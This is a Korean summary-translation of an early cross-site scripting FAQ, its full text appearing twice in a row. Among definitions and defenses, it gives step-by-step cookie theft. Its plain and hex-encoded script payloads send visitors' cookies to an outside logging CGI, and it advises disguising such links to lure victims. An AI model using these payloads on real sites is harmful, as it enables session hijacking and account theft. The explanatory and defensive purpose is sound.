반응형
Cross Site Scripting(XSS)취약점 -FAQ
원문: http://www.cgisecurity.com/articles/xss-faq.txt
요약 정리: vangelis(wowcode of http://www.wowhacker.org)
도입 오늘날 웹사이트는 사용자들을 더 즐겁게 하기 위해 동적인 컨텐츠를 포함하고 있어 전보다 더 복잡해졌다. 동적 컨텐츠는 기본 설정이나 필요에 따라 사용자에게 다른 출력물을 전달할 수 있는 웹 어플리케이션의 사용을 통해 성취된다. 동적 웹사이트는 정적 사이트가 가지고 있지 않은 “Cross Site Scripting”(또는 XSS) 문제를 가지고 있다. 이 문서는 이 문제에 대해 좀더 체계적인 설명을 하고자 하는 의도에서 쓰여졌다.
"Cross Site Scripting이란 무엇인가?" Cross site scripting (XSS로도 알려짐)은 웹 어플리케이션이 어떤 사용자로부터 악의적인 데이터를 수집할 때 발생한다. 그 데이터는 보통 하이퍼링크의 형태로 수집되는데, 그 하이퍼링크는 그 안에 악의적인 내용을 포함하고 있다. 사용자는 다른 웹사이트, 웹보드, 이메일 등에 포함된 링크를 클릭할 것이다. 보통 공격자는 hex 또는 다른 방법으로 그 사이트에 대한 링크의 악의적인 부분을 인코딩할 것이며, 그래서 그 리퀘스트는 사용자에게 덜 의심스럽게 보인다. 데이터가 웹 어플리케이션에 의해 수집된 이후 그것은 그 사용자를 위해 그것에 원래 보내진 악의적인 데이터를 포함한 페이지를 출력한다. 하지만 그것을 그 웹사이트로부터 나온 유효한 내용인 것처럼 보이도록 만든다.
"XSS와 CSS는 무엇을 의미하는가?" 종종 사람들은 Cross Site Scripting을 CSS로 지칭한다. Cascading Style Sheets(CSS)와 cross site scripting 사이에는 많은 혼동이 있었다. 어떤 보안 전문가들은 Cross Site Scripting을 XSS로 지칭하기도 한다.
"Cross Site Scripting의 위협은 무엇인가?"
종종 공격자는 사용자를 골려주기 위해 또는 그들로부터 데이터를 수집하기 위해 JavaScript, VBScript, ActiveX, HTML, 또는 Flash를 투입한다. 계정 하이재킹(account hijacking)으로부터 공격자는 사용자의 설정을 변경하거나, 쿠키를 훔치거나 잘못된 광고가 가능하다. 새로운 악의적인 XSS 공격 방법들이 발견되고 있다. 아래에 링크된 Brett Moore가 올린 글은 특정 호스트들에 대한 “서비스 거부 공격”이나 “자동 공격”에 대한 좋은 설명을 보여준다. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
"Cross Site Scripting 공격의 몇 가지 예" 많은 XSS 취약점을 가진 제품의 예가 PHPnuke이다. 이 제품은 종종 그 유명세 때문에 XSS 취약점을 점검하기 위한 목표로 공격자들에게 그 대상이 되기도 한다. 다음은 이 PHPnuke의 취약점에 대한 링크이다.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt "XSS 쿠키를 훔치는 방법은?" 특정 웹 어플리케이션에 따라 공격 방법이 조정될 필요가 있다. 다음은 간단한 한 예일뿐이다.
1단계: 목표 설정
어떤 웹사이트의 웹 어플리케이션에서 XSS 취약점을 발견한 후 쿠키를 생성하는지 확인한다. 만약 웹 사이트의 어떤 부분이 쿠키를 사용한다면 사용자로부터 그 쿠키를 훔치는 것이 가능하다. 2단계: 테스트 XSS 취약점은 어떻게 공략되는가에 따라 다르므로 출력물을 믿을 수 있도록 만들기 위해 테스트가 실행될 필요가 있다. 스크립트에 코드를 삽입함으로써 그것의 출력물은 변경될 수 잇고, 그 페이지는 깨진 상태로 나타날 수 있다. (마지막 결과는 중요하며, 공격자는 그 페이지가 정상적인 것으로 보이도록 코드를 손볼 필요가 있다.) 다음으로 취약한 사이트의 부
분을 가리키는 URL에 자바스크립트(또는 다른 클라이언트 쪽의 스크립팅 언어)를 투입할 필요가 있다. 아래에 제시된 것은 XSS 취약점을 테스트할 때 사용되는 것들이다. 각각을 클릭했을 때 사용자의 쿠키를 www.cgisecurity.com/cgi-bin/cookie.cgi에 보내고, 그것을 보여줄 것이다. 만약 그 쿠키를 볼 수 있다면 사용자의 계정에 대한 세션 하이재킹도 가능할 것이다.
다음은 쿠키를 훔치는 Javascript 예이다. ASCII 용법: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script> Hex 용법: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%
72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 이것들은 악의적인 자바스크립트의 예들이다. 이 스크립트는 사용자의 쿠키를 수집하고, 그런 다음 질의를 받을 경우 cgisecurity.com 사이트에 리퀘스트를 보낸다. 그러면 cgisecurity.com에 있는 스크립트는 각각의 쿠키와 리퀘스트를 기록할 것이다. 간단히 말하면 다음과 같다.
My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi 이것은 다음과 같은 리퀘스트를 사이트에 보낸다.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (%20은 한 공간에 대한 hex 인코딩이다.) 이것은 사용자의 쿠키를 획득할 수 있는 원시적이지만 효과적인 방법이다. 이 스크립트의 사용에 대한 로그는 www.cgisecurity.com/articles/cookie-theft.log에서 찾을 수 있다. 3 단계: XSS 실행 실행을 위해 조작된 url, 이메일, 과련 소프트웨어를 이용한다. 이메일이나 aim, 또는 다른 수단으로 통해 사용자에게 HEX로 인코딩한 URL을 제공해야함을 기억하자. 이 코드는 분명 의심스럽게 보이지만 많은 hex 문자로 되어 있는 것은 어떤 사람들을 바보로 만들 수 있다. 위에서 제시된 예에서는 단지 cookie.cgi로 사용자를 포워딩했을뿐이다. 시간이 있는 공격자라면 몇가지 리다이렉트와 XSS 조합을 통해 사용자의 쿠키를 훔칠 수 있으며, 그것을 쿠키를 훔쳤다는 것을 들키지 않고 웹사이
트로 리턴할 수 있다.
몇몇 이메일 프로그램은 메시지에 자바스크립트가 첨부되면메시지를 열자말자 그 스크립트를 실행할 수도 있다. Hotmail 같은 대규모 사이트는 자바스크립트를 첨부하도록 허용하고 있으나 쿠키를 훔치는 것을 막기 위해 특별한 필터링을 한다.
4단계: 이 데이터로 무엇을 할 것인가 사용자가 XSS 취약점을 실행하도록 하면 데이터가 수집되어 공격자의 CGI로 보내진다. 이제 쿠키를 가지게 되면 계정 하이재킹이 가능한지 알아보기 위해 Websleuth와 같은 툴을 사용할 수 있다. 좀더 세부적인 것은 http://www.idefense.com/XSS.html을 참고해라. "업체의 방어 방법은?" 이것에 대한 대답은 간단하다. 사용자가 입력한 것을 신뢰하지 말고 항상 메타 문자들을 필터링해라. 이것은 대부분의 XSS 공격을 막을 수 있다. < 와 >를 <와 >로 전환하는 것도 좋은 생각이다. 이것으로는 충분치 않기 때문에 ( 그리고 )로 변환시킴으로써 ( 와 )를 필터링하는 것도 제안한다.
"일반 사용자의 방어 방법은?" 자신을 보호하는 가장 쉬운 방법은 메인 웹사이트에 있는 링크를 따라가는 것이다. 특정 사이트에 링크된 것을 누르는 대신 검색엔진을 이용해 그 사이트를 찾고, 그런 다음 그 사이트로 이동하는 것이 좋을 것이다. 또한 어떤 경우에 XSS은 이메일이나 첨부 파일을 열어었을 때 자동으로 실행되는 경우도 있으므로, 모르는 사람으로부터 그런 메일을 받았을 경우 신뢰하지 않은 것이 좋다. 또 다른 방어 방법은 사용하고 있는 브라우저의 설정 부분에서 자바스크립트를 활성화시키지 않는 것이다. IE를 사용한다면 보안 설정을 높게 잡으면 된다.
"어떻게 XSS 취약점이 일반적인가?" Cross site scripting 취약점은 해커들 사이에서 대규모 사이트에서 찾기 쉬운 취약점으로서 인기를 얻고 있다. FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, 그리고 Newsbytes등의 사이트는 하나 내지 그 이상의 XSS 취약점을 가지고 있다. 매달 대략 10-25개 정도의 XSS 취약점이 상용 제품에서 발견되고 있으며, 그 위험성을 설명하는 권고문들이 발표되고 있다.
"암호화가 방어책이 될 수 있는가?" SSL(https)을 사용하는 웹사이트들도 완전히 안전한 것은 아니다. 일반 사용자들도 그들의 브라우저를 통제하고 있다고 해서 완벽한 완전이 보장된다고 생각해서는 안된다.
"XSS 취약점은 명령을 실행할 수 있는가?" XSS 취약점은 자바스크립트 투입을 허용할 수 있다. 그것은 제한된 실행을 허용할 것이다. 만약 공격자가 브라우저의 취약점을 공략한다면 클랑언트 측에 대해 명령을 실행하는 것이 가능할 것이다. 만약 명령 실행이 가능하다면 단지 클라이언트 측에만 가능할 것이다. 간단히 말해 XSS 취약점은 브라우저에 존재하는 다른 취약점을 공격하는데 도움이 되도록 사용될 수 있다.
"CSS/XSS 취약점을 수정하지 못할 경우 어떻게 해야 하는가?" XSS 취약점을 해결하지 못할 경우 이것은 사용자 계정을 장악하는 것을 허용할 수 있다. XSS 취약점은 여러 사이트에서 발견되고, 광범위하게 공개되고 있다. 이것은 그 사이트의 보안이 제대로 되어 있지 않다라는 불명예를 안겨줄 수 줄 수 있다. 만약 특정 사이트의 고객들이 그 사이트를 신뢰하지 못한다면 그 사이트와의 거래는 하지 않을 것이다.
[참고문헌] http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm http://www.perl.com/pub/a/2002/02/20/css.html http://www.cert.org/advisories/CA-2000-02.html http://www.cert.org/tech_tips/cgi_metacharacters.html http://eyeonsecurity.net/papers/passporthijack.html http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies http://www.cgisecurity.com/articles/xss-faq.txt
원문: http://www.cgisecurity.com/articles/xss-faq.txt
요약 정리: vangelis(wowcode of http://www.wowhacker.org)
도입 오늘날 웹사이트는 사용자들을 더 즐겁게 하기 위해 동적인 컨텐츠를 포함하고 있어 전보다 더 복잡해졌다. 동적 컨텐츠는 기본 설정이나 필요에 따라 사용자에게 다른 출력물을 전달할 수 있는 웹 어플리케이션의 사용을 통해 성취된다. 동적 웹사이트는 정적 사이트가 가지고 있지 않은 “Cross Site Scripting”(또는 XSS) 문제를 가지고 있다. 이 문서는 이 문제에 대해 좀더 체계적인 설명을 하고자 하는 의도에서 쓰여졌다.
"Cross Site Scripting이란 무엇인가?" Cross site scripting (XSS로도 알려짐)은 웹 어플리케이션이 어떤 사용자로부터 악의적인 데이터를 수집할 때 발생한다. 그 데이터는 보통 하이퍼링크의 형태로 수집되는데, 그 하이퍼링크는 그 안에 악의적인 내용을 포함하고 있다. 사용자는 다른 웹사이트, 웹보드, 이메일 등에 포함된 링크를 클릭할 것이다. 보통 공격자는 hex 또는 다른 방법으로 그 사이트에 대한 링크의 악의적인 부분을 인코딩할 것이며, 그래서 그 리퀘스트는 사용자에게 덜 의심스럽게 보인다. 데이터가 웹 어플리케이션에 의해 수집된 이후 그것은 그 사용자를 위해 그것에 원래 보내진 악의적인 데이터를 포함한 페이지를 출력한다. 하지만 그것을 그 웹사이트로부터 나온 유효한 내용인 것처럼 보이도록 만든다.
"XSS와 CSS는 무엇을 의미하는가?" 종종 사람들은 Cross Site Scripting을 CSS로 지칭한다. Cascading Style Sheets(CSS)와 cross site scripting 사이에는 많은 혼동이 있었다. 어떤 보안 전문가들은 Cross Site Scripting을 XSS로 지칭하기도 한다.
"Cross Site Scripting의 위협은 무엇인가?"
종종 공격자는 사용자를 골려주기 위해 또는 그들로부터 데이터를 수집하기 위해 JavaScript, VBScript, ActiveX, HTML, 또는 Flash를 투입한다. 계정 하이재킹(account hijacking)으로부터 공격자는 사용자의 설정을 변경하거나, 쿠키를 훔치거나 잘못된 광고가 가능하다. 새로운 악의적인 XSS 공격 방법들이 발견되고 있다. 아래에 링크된 Brett Moore가 올린 글은 특정 호스트들에 대한 “서비스 거부 공격”이나 “자동 공격”에 대한 좋은 설명을 보여준다. http://archives.neohapsis.com/archives/vuln-dev/2002-q1/0311.html
"Cross Site Scripting 공격의 몇 가지 예" 많은 XSS 취약점을 가진 제품의 예가 PHPnuke이다. 이 제품은 종종 그 유명세 때문에 XSS 취약점을 점검하기 위한 목표로 공격자들에게 그 대상이 되기도 한다. 다음은 이 PHPnuke의 취약점에 대한 링크이다.
http://www.cgisecurity.com/archive/php/phpNuke_cross_site_scripting.txt http://www.cgisecurity.com/archive/php/phpNuke_CSS_5_holes.txt http://www.cgisecurity.com/archive/php/phpNuke_2_more_CSS_holes.txt "XSS 쿠키를 훔치는 방법은?" 특정 웹 어플리케이션에 따라 공격 방법이 조정될 필요가 있다. 다음은 간단한 한 예일뿐이다.
1단계: 목표 설정
어떤 웹사이트의 웹 어플리케이션에서 XSS 취약점을 발견한 후 쿠키를 생성하는지 확인한다. 만약 웹 사이트의 어떤 부분이 쿠키를 사용한다면 사용자로부터 그 쿠키를 훔치는 것이 가능하다. 2단계: 테스트 XSS 취약점은 어떻게 공략되는가에 따라 다르므로 출력물을 믿을 수 있도록 만들기 위해 테스트가 실행될 필요가 있다. 스크립트에 코드를 삽입함으로써 그것의 출력물은 변경될 수 잇고, 그 페이지는 깨진 상태로 나타날 수 있다. (마지막 결과는 중요하며, 공격자는 그 페이지가 정상적인 것으로 보이도록 코드를 손볼 필요가 있다.) 다음으로 취약한 사이트의 부
분을 가리키는 URL에 자바스크립트(또는 다른 클라이언트 쪽의 스크립팅 언어)를 투입할 필요가 있다. 아래에 제시된 것은 XSS 취약점을 테스트할 때 사용되는 것들이다. 각각을 클릭했을 때 사용자의 쿠키를 www.cgisecurity.com/cgi-bin/cookie.cgi에 보내고, 그것을 보여줄 것이다. 만약 그 쿠키를 볼 수 있다면 사용자의 계정에 대한 세션 하이재킹도 가능할 것이다.
다음은 쿠키를 훔치는 Javascript 예이다. ASCII 용법: http://host/a.php?variable="><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?'%20+document.cookie</script> Hex 용법: http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%
72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script> HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e 이것들은 악의적인 자바스크립트의 예들이다. 이 스크립트는 사용자의 쿠키를 수집하고, 그런 다음 질의를 받을 경우 cgisecurity.com 사이트에 리퀘스트를 보낸다. 그러면 cgisecurity.com에 있는 스크립트는 각각의 쿠키와 리퀘스트를 기록할 것이다. 간단히 말하면 다음과 같다.
My cookie = user=zeno; id=021 My script = www.cgisecurity.com/cgi-bin/cookie.cgi 이것은 다음과 같은 리퀘스트를 사이트에 보낸다.
GET /cgi-bin/cookie.cgi?user=zeno;%20id=021 (%20은 한 공간에 대한 hex 인코딩이다.) 이것은 사용자의 쿠키를 획득할 수 있는 원시적이지만 효과적인 방법이다. 이 스크립트의 사용에 대한 로그는 www.cgisecurity.com/articles/cookie-theft.log에서 찾을 수 있다. 3 단계: XSS 실행 실행을 위해 조작된 url, 이메일, 과련 소프트웨어를 이용한다. 이메일이나 aim, 또는 다른 수단으로 통해 사용자에게 HEX로 인코딩한 URL을 제공해야함을 기억하자. 이 코드는 분명 의심스럽게 보이지만 많은 hex 문자로 되어 있는 것은 어떤 사람들을 바보로 만들 수 있다. 위에서 제시된 예에서는 단지 cookie.cgi로 사용자를 포워딩했을뿐이다. 시간이 있는 공격자라면 몇가지 리다이렉트와 XSS 조합을 통해 사용자의 쿠키를 훔칠 수 있으며, 그것을 쿠키를 훔쳤다는 것을 들키지 않고 웹사이
트로 리턴할 수 있다.
몇몇 이메일 프로그램은 메시지에 자바스크립트가 첨부되면메시지를 열자말자 그 스크립트를 실행할 수도 있다. Hotmail 같은 대규모 사이트는 자바스크립트를 첨부하도록 허용하고 있으나 쿠키를 훔치는 것을 막기 위해 특별한 필터링을 한다.
4단계: 이 데이터로 무엇을 할 것인가 사용자가 XSS 취약점을 실행하도록 하면 데이터가 수집되어 공격자의 CGI로 보내진다. 이제 쿠키를 가지게 되면 계정 하이재킹이 가능한지 알아보기 위해 Websleuth와 같은 툴을 사용할 수 있다. 좀더 세부적인 것은 http://www.idefense.com/XSS.html을 참고해라. "업체의 방어 방법은?" 이것에 대한 대답은 간단하다. 사용자가 입력한 것을 신뢰하지 말고 항상 메타 문자들을 필터링해라. 이것은 대부분의 XSS 공격을 막을 수 있다. < 와 >를 <와 >로 전환하는 것도 좋은 생각이다. 이것으로는 충분치 않기 때문에 ( 그리고 )로 변환시킴으로써 ( 와 )를 필터링하는 것도 제안한다.
"일반 사용자의 방어 방법은?" 자신을 보호하는 가장 쉬운 방법은 메인 웹사이트에 있는 링크를 따라가는 것이다. 특정 사이트에 링크된 것을 누르는 대신 검색엔진을 이용해 그 사이트를 찾고, 그런 다음 그 사이트로 이동하는 것이 좋을 것이다. 또한 어떤 경우에 XSS은 이메일이나 첨부 파일을 열어었을 때 자동으로 실행되는 경우도 있으므로, 모르는 사람으로부터 그런 메일을 받았을 경우 신뢰하지 않은 것이 좋다. 또 다른 방어 방법은 사용하고 있는 브라우저의 설정 부분에서 자바스크립트를 활성화시키지 않는 것이다. IE를 사용한다면 보안 설정을 높게 잡으면 된다.
"어떻게 XSS 취약점이 일반적인가?" Cross site scripting 취약점은 해커들 사이에서 대규모 사이트에서 찾기 쉬운 취약점으로서 인기를 얻고 있다. FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple computer, Microsoft, Zdnet, Wired, 그리고 Newsbytes등의 사이트는 하나 내지 그 이상의 XSS 취약점을 가지고 있다. 매달 대략 10-25개 정도의 XSS 취약점이 상용 제품에서 발견되고 있으며, 그 위험성을 설명하는 권고문들이 발표되고 있다.
"암호화가 방어책이 될 수 있는가?" SSL(https)을 사용하는 웹사이트들도 완전히 안전한 것은 아니다. 일반 사용자들도 그들의 브라우저를 통제하고 있다고 해서 완벽한 완전이 보장된다고 생각해서는 안된다.
"XSS 취약점은 명령을 실행할 수 있는가?" XSS 취약점은 자바스크립트 투입을 허용할 수 있다. 그것은 제한된 실행을 허용할 것이다. 만약 공격자가 브라우저의 취약점을 공략한다면 클랑언트 측에 대해 명령을 실행하는 것이 가능할 것이다. 만약 명령 실행이 가능하다면 단지 클라이언트 측에만 가능할 것이다. 간단히 말해 XSS 취약점은 브라우저에 존재하는 다른 취약점을 공격하는데 도움이 되도록 사용될 수 있다.
"CSS/XSS 취약점을 수정하지 못할 경우 어떻게 해야 하는가?" XSS 취약점을 해결하지 못할 경우 이것은 사용자 계정을 장악하는 것을 허용할 수 있다. XSS 취약점은 여러 사이트에서 발견되고, 광범위하게 공개되고 있다. 이것은 그 사이트의 보안이 제대로 되어 있지 않다라는 불명예를 안겨줄 수 줄 수 있다. 만약 특정 사이트의 고객들이 그 사이트를 신뢰하지 못한다면 그 사이트와의 거래는 하지 않을 것이다.
[참고문헌] http://www.usatoday.com/life/cyber/tech/2001-08-31-hotmail-security-side.htm http://www.perl.com/pub/a/2002/02/20/css.html http://www.cert.org/advisories/CA-2000-02.html http://www.cert.org/tech_tips/cgi_metacharacters.html http://eyeonsecurity.net/papers/passporthijack.html http://www.eccentrix.com/education/b0iler/tutorials/javascript.htm#cookies http://www.cgisecurity.com/articles/xss-faq.txt
